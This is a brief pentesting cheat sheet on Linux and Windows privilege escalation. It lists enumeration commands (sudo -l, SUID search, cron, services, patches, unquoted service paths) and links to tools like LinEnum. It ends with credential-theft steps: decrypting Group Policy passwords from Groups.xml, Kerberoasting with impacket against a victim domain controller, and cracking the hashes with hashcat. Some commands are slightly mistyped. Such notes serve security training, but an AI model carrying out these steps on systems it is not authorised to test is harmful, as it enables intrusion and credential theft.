



# Priv / Esc

## LINUX

#Primeiro, você pode executar o script abaixo.

É importante que você leia a saída deste script.

<https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh>

### #Kernel and OS

```
uname -a
```

```
cat /etc/issue
```

```
cat /etc/redhat-release //Redhat
```

```
cat /etc/lsb-release //Debian
```

### #Misconfiguration sudo;

```
sudo -l
```

```
sudo -u scriptmanager bash //Change user with "sudo" command
```

```
#Detection of programs with SUID bits;
```

```
find / -perm +4000 -user root -type f -print 2>/dev/null
```

### #Scheduled jobs;

crontab -l

cat /etc/crontab

### #Detection of services run by root;

ps aux | grep root

### #Detection of installed applications;

ls -alh /usr/bin/

ls -alh /sbin/

dpkg -l

### #For more of the manual enumeration steps;

<https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/>

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## WINDOWS

### #For the detection of missing patches;

<https://github.com/AonCyberLabs/Windows-Exploit-Suggester/blob/master/windows-exploit-suggester.py>

### #Operating System

systeminfo

wmic qfe

### #Users

```
whoami  
echo %USERNAME%  
net users  
net user <username>  
whoami /priv  
net localgroup
```

### #Network

```
ipconfig /all  
route print  
arp -A  
netstat -ano
```

### #Programs

```
dir /a "C:\Program Files"  
dir /a "C:\Program Files (x86)"  
reg query HKEY_LOCAL_MACHINE\SOFTWARE
```

### #Unquoted Service Patch

```
wmic service get name,displayname,pathname,startmode 2>nul |findstr /i "Auto" 2>nul  
|findstr /i /v "C:\Windows\\" 2>nul |findstr /i /v ""
```

### #Scheduled task;

```
schtasks /query /fo LIST 2>nul | findstr TaskName  
dir C:\windows\tasks
```

**#For more of the manual enumeration steps;**

<https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/>

**#For application examples;**

<https://www.youtube.com/watch?v=Fms9UuW05DA&list=PLi0kul0fEhZ9LNZN0-A3nX2xcx2R70JwN>

**#Groups.xml**

get Groups.xml

cat Groups.xml (name, password)

gpp-Decrypt password #decryp\_password

smbclient -W <domain\_name> -U name //<domain\_name>/share\_name

**#SPN**

git <https://github.com/SecureAuthCorp/impacket.git>

python GetUsersSPN.py <domain\_name>/user:decrypt\_password -dc-ip <victim\_ip> -request

hashcat -m 13100 -a 0 hash.txt /usr/share/wordlists/rockyou.txt --force

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